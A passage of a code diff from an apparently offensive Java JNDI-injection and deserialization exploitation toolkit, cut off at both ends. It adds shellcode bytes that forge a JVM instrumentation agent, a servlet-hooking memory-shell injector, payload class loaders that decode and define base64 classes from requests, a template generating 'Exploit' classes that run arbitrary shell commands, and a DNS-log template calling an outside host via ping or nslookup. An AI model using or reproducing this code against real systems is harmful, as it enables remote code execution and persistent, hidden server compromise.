(byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3}; + stub=new byte[]{0x44,0x43,0x42,0x41}; + } + buf=replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength)); + classBody[7]=0x32; + try { + System.loadLibrary("attach"); + enqueue(-1, buf, "enqueue", "enqueue"); + } catch (Exception e) { + e.printStackTrace(); + return; + } + long native_jvmtienv=unsafe.getLong(JPLISAgent+pointerLength); + if (pointerLength==4) + { + unsafe.putByte(native_jvmtienv+201 , (byte) 2); + } + else + { + unsafe.putByte(native_jvmtienv+361 , (byte) 2); + } + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[] { + new ClassDefinition[] { + definition + } + }); + } + catch (Throwable error) + { + error.printStackTrace(); + throw error; + } + + } + /** + * long 转字节数组,小端 + */ + public static byte[] long2ByteArray_Little_Endian(long l,int length) { + + byte[] array = new byte[length]; + + for (int i = 0; i < array.length; i++) { + array[i] = (byte) (l >> (i * 8)); + } + return array; + } + + + private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget) + { + for(int i=0;i HOOK_CLASS_INFORMATION_MAP = new ArrayList(); + + // Hook 类方法字符串 + public static String HOOK_METHOD_CODE; + + public static List insert() throws Exception { + + // 初始化要 hook 的方法信息 + initHookClassINFORMATION(); + + List classObj = getHookClassBytes(); + + if (classObj == null) { + return null; + } + + String targetClassName = classObj.get(0).toString(); + byte[] targetClassBody = (byte[]) classObj.get(1); + ClassPool cp = ClassPool.getDefault(); + cp.insertClassPath(new ByteArrayClassPath(targetClassName, targetClassBody)); + CtClass targetClass = cp.get(targetClassName); + + String methodName = HOOK_CLASS_INFORMATION_MAP.get(1); + String[] paramList = HOOK_CLASS_INFORMATION_MAP.get(2).split(","); + + List paramClasses = new ArrayList(); + for (String param : paramList) { + CtClass ctClass = cp.get(param); + paramClasses.add(ctClass); + } + + CtMethod ctMethod = targetClass.getDeclaredMethod(methodName, paramClasses.toArray(new CtClass[paramClasses.size()])); + ctMethod.insertBefore(base64Decode(HOOK_METHOD_CODE)); + targetClass.detach(); + + List list = new ArrayList(); + list.add(targetClassName); + list.add(targetClass.toBytecode()); + return list; + } + + + private static List getHookClassBytes() throws Exception { + ClassPool classPool = ClassPool.getDefault(); + + try { + // 用 Javassist 获取目标环境中,目标类的类字节码 + String className = HOOK_CLASS_INFORMATION_MAP.get(0); + classPool.insertClassPath(new ClassClassPath(Thread.currentThread().getContextClassLoader().loadClass(className))); + CtClass targetClass = classPool.get(className); + List obj = new ArrayList(); + obj.add(className); + obj.add(targetClass.toBytecode()); + targetClass.detach(); + return obj; + } catch (ClassNotFoundException ignored) { + } + return null; + } + + public static String base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static void initHookClassINFORMATION() { +// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.http.HttpServlet"); +// HOOK_CLASS_INFORMATION_MAP.add("service"); +// HOOK_CLASS_INFORMATION_MAP.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); + +// ArrayList list1 = new ArrayList(); +// list1.add("jakarta.servlet.http.HttpServlet"); +// list1.add("service"); +// list1.add("jakarta.servlet.ServletRequest,jakarta.servlet.ServletResponse"); +// +// HOOK_CLASS_INFORMATION_MAP.add(list1); +// +// ArrayList list2 = new ArrayList(); +// list2.add("weblogic.servlet.internal.ServletStubImpl"); +// list2.add("execute"); +// list2.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse"); +// +// HOOK_CLASS_INFORMATION_MAP.add(list2); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLConnection.java b/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLConnection.java new file mode 100644 index 00000000..6c36b022 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLConnection.java @@ -0,0 +1,101 @@ +package com.qi4l.jndi.template.Agent.utli; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLConnection; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +public class SuURLConnection extends URLConnection { + private static List FILES = new ArrayList(); + + // 当前 SuURLConnection 对应的对象 + private final byte[] DATA; + + private final String contentType; + + public static String STREAM_HANDLER_CLASSNAME; + + static { + try { + Field fld; + try { + fld = URL.class.getDeclaredField("handlers"); + } catch (NoSuchFieldException var7) { + try { + fld = URL.class.getDeclaredField("ph_cache"); + } catch (NoSuchFieldException var6) { + throw var7; + } + } + + fld.setAccessible(true); + Map handlers = (Map) fld.get((Object) null); + synchronized (handlers) { + Object handler; + if (handlers.containsKey("ysuserial")) { + handler = handlers.get("ysuserial"); + } else { + handler = Class.forName(STREAM_HANDLER_CLASSNAME).newInstance(); + handlers.put("ysuserial", handler); + } + + FILES = (List) handler.getClass().getMethod("getFiles").invoke(handler); + } + } catch (Exception var8) { + throw new RuntimeException(var8.toString()); + } + } + + + /** + * 将一个 URL 对象 (byte[])存放在 FILES 中 + * + * @param data jar 包字节码数组 + * @param contentType 原本是文件路径,这里因为是虚拟的,所以随便写一个标识位就可以 + * @return 返回 URL 对象 + * @throws MalformedURLException 抛出异常 + */ + public static URL createURL(byte[] data, String contentType) throws MalformedURLException { + synchronized (FILES) { + FILES.add(data); + return new URL("ysuserial", "", FILES.size() - 1 + "/" + contentType); + } + } + + /** + * 构造方法,根据指定的 URL 格式将 DATA 进行指定赋值 + * + * @param url + */ + protected SuURLConnection(URL url) { + super(url); + String file = url.getFile(); + int pos = file.indexOf(47); + synchronized (FILES) { + this.DATA = (byte[]) ((byte[]) FILES.get(Integer.parseInt(file.substring(0, pos)))); + } + + this.contentType = file.substring(pos + 1); + } + + public void connect() throws IOException { + } + + public InputStream getInputStream() throws IOException { + return new ByteArrayInputStream(this.DATA); + } + + public int getContentLength() { + return this.DATA.length; + } + + public String getContentType() { + return this.contentType; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.java b/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.java new file mode 100644 index 00000000..f31e7b9c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.template.Agent.utli; + +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.net.URL; +import java.net.URLConnection; +import java.util.ArrayList; +import java.util.List; + +public class SuURLStreamHandler { + public static String URL_CONNECTION_CLASSNAME; + + private List files = new ArrayList(); + + public SuURLStreamHandler() { + } + + /** + * 与 SuURLConnection 联动的 URLStreamHandler + * + * @param u 特殊的 URL 对象 + * @return 返回 SuURLConnection 对象 + * @throws IOException 抛出异常 + */ + protected URLConnection openConnection(URL u) throws IOException { + try { + Class clazz = Class.forName(URL_CONNECTION_CLASSNAME); + Constructor constructor = clazz.getDeclaredConstructor(URL.class); + constructor.setAccessible(true); + return (URLConnection) constructor.newInstance(u); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public List getFiles() { + return this.files; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/ClassLoaderTemplate.java b/src/main/java/com/qi4l/jndi/template/ClassLoaderTemplate.java new file mode 100644 index 00000000..1ee930d9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/ClassLoaderTemplate.java @@ -0,0 +1,79 @@ +package com.qi4l.jndi.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.zip.GZIPInputStream; + +public class ClassLoaderTemplate { + static String b64; + + static String className; + + static { + try { + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(base64Decode(b64))); + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); + byte[] bs = new byte[4096]; + int read; + while ((read = gzipInputStream.read(bs)) != -1) { + byteArrayOutputStream.write(bs, 0, read); + } + byte[] bytes = byteArrayOutputStream.toByteArray(); + ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + invoke.newInstance(); + +// ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); +// Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); +// method.setAccessible(true); +// Class invoke = (Class) method.invoke(null, classLoader, className, bytes, 0, bytes.length); +// try { +// // 先尝试 newInstance +// invoke.newInstance(); +// } catch (Exception ignored) { +// try { +// // 如果没有无参构造方法,会报错,这里可以使用 Unsafe 创建,个人非常喜欢 Unsafe 这个类,无拘无束,自由自在 +// Class unsafe = Class.forName("sun.misc.Unsafe"); +// Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); +// theUnsafeField.setAccessible(true); +// Object unsafeObject = theUnsafeField.get(null); +// unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, invoke); +// } catch (Exception neverMind) { +// // 如果没有 Unsafe,可以使用反射库中的方法,为 Class 创建一个 +// Constructor objCons = invoke.getDeclaredConstructor(new Class[0]); +// objCons.setAccessible(true); +// Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(invoke, objCons); +// sc.setAccessible(true); +// sc.newInstance(new Object[0]); +// } +// } + } catch (Exception ignored) { + } + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception whatever) { + } + } + return value; + } + + public static void initClassBytes() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/CommandTemplate.java b/src/main/java/com/qi4l/jndi/template/CommandTemplate.java new file mode 100644 index 00000000..380e9526 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/CommandTemplate.java @@ -0,0 +1,144 @@ +package com.qi4l.jndi.template; + +import com.qi4l.jndi.gadgets.utils.Cache; +import com.qi4l.jndi.gadgets.utils.Util; +import org.objectweb.asm.*; +import static org.objectweb.asm.Opcodes.*; + +public class CommandTemplate implements Template{ + private String className; + private byte[] bytes; + private String cmd; + + public CommandTemplate(String cmd){ + this.cmd = cmd; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public CommandTemplate(String cmd, String className){ + this.cmd = cmd; + this.className = className; + + generate(); + } + + public void cache(){ + Cache.set(className, bytes); + } + + public String getClassName(){ + return className; + } + + public byte[] getBytes(){ + return bytes; + } + + public void generate(){ + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + { + fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l3 = new Label(); + mv.visitJumpInsn(IFEQ, l3); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("/bin/sh"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("-c"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitJumpInsn(GOTO, l0); + mv.visitLabel(l3); + mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); + mv.visitInsn(ICONST_3); + mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_0); + mv.visitLdcInsn("cmd"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_1); + mv.visitLdcInsn("/C"); + mv.visitInsn(AASTORE); + mv.visitInsn(DUP); + mv.visitInsn(ICONST_2); + mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(AASTORE); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"[Ljava/lang/String;"}, 0, null); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + Label l4 = new Label(); + mv.visitJumpInsn(GOTO, l4); + mv.visitLabel(l2); + mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); + mv.visitVarInsn(ASTORE, 2); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); + mv.visitLabel(l4); + mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); + mv.visitInsn(RETURN); + mv.visitMaxs(4, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); + mv.visitCode(); + mv.visitLdcInsn(cmd); + mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;"); + mv.visitInsn(RETURN); + mv.visitMaxs(1, 0); + mv.visitEnd(); + } + cw.visitEnd(); + bytes = cw.toByteArray(); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/DefineClassFromParameter.java b/src/main/java/com/qi4l/jndi/template/DefineClassFromParameter.java new file mode 100644 index 00000000..870031bd --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/DefineClassFromParameter.java @@ -0,0 +1,94 @@ +package com.qi4l.jndi.template; + +/** + * 在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转 + * 从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 + * 内存马 class 文件可以自行生成,base64 编码后由 request body 中的 dc 参数传递 + */ +public class DefineClassFromParameter { + + public static String parameter; + + static { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + + Object req = f.get(processor); + Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); + String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter}); + if (payload != null && !payload.isEmpty()) { + byte[] classBytes = base64Decode(payload); + java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length)); + clazz.newInstance(); + } + + flag = true; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static byte[] base64Decode(String bs) { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return value; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/DnslogTemplate.java b/src/main/java/com/qi4l/jndi/template/DnslogTemplate.java new file mode 100644 index 00000000..749cc05d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/DnslogTemplate.java @@ -0,0 +1,134 @@ +package com.qi4l.jndi.template; + +import com.qi4l.jndi.gadgets.utils.Cache; +import com.qi4l.jndi.gadgets.utils.Util; +import org.objectweb.asm.*; + +import static org.objectweb.asm.Opcodes.*; + +public class DnslogTemplate implements Template { + private String className; + private byte[] bytes; + private String dnslog; + + + public DnslogTemplate(String dnslog){ + this.dnslog = dnslog; + this.className = "Exploit" + Util.getRandomString(); + + generate(); + } + + public DnslogTemplate(String dnslog, String className){ + this.dnslog = dnslog; + this.className = className; + + generate(); + } + + public void cache(){ + Cache.set(className, bytes); + } + + public String getClassName(){ + return className; + } + + public byte[] getBytes(){ + return bytes; + } + + public void generate(){ + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); + + { + fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null); + fv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); + mv.visitLdcInsn("/"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); + Label l3 = new Label(); + mv.visitJumpInsn(IFEQ, l3); + mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); + mv.visitInsn(DUP); + mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); + mv.visitLdcInsn("ping -c 1 "); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); + mv.visitVarInsn(ASTORE, 1); + mv.visitJumpInsn(GOTO, l0); + mv.visitLabel(l3); + mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); + mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); + mv.visitInsn(DUP); + mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); + mv.visitLdcInsn("nslookup "); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); + mv.visitVarInsn(ASTORE, 1); + mv.visitLabel(l0); + mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"java/lang/String"}, 0, null); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitVarInsn(ALOAD, 1); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitInsn(POP); + mv.visitLabel(l1); + Label l4 = new Label(); + mv.visitJumpInsn(GOTO, l4); + mv.visitLabel(l2); + mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); + mv.visitVarInsn(ASTORE, 2); + mv.visitVarInsn(ALOAD, 2); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); + mv.visitLabel(l4); + mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); + mv.visitInsn(RETURN); + mv.visitMaxs(2, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); + mv.visitCode(); + mv.visitInsn(RETURN); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); + mv.visitCode(); + mv.visitLdcInsn(dnslog); + mv.visitFieldInsn(PUTSTATIC, 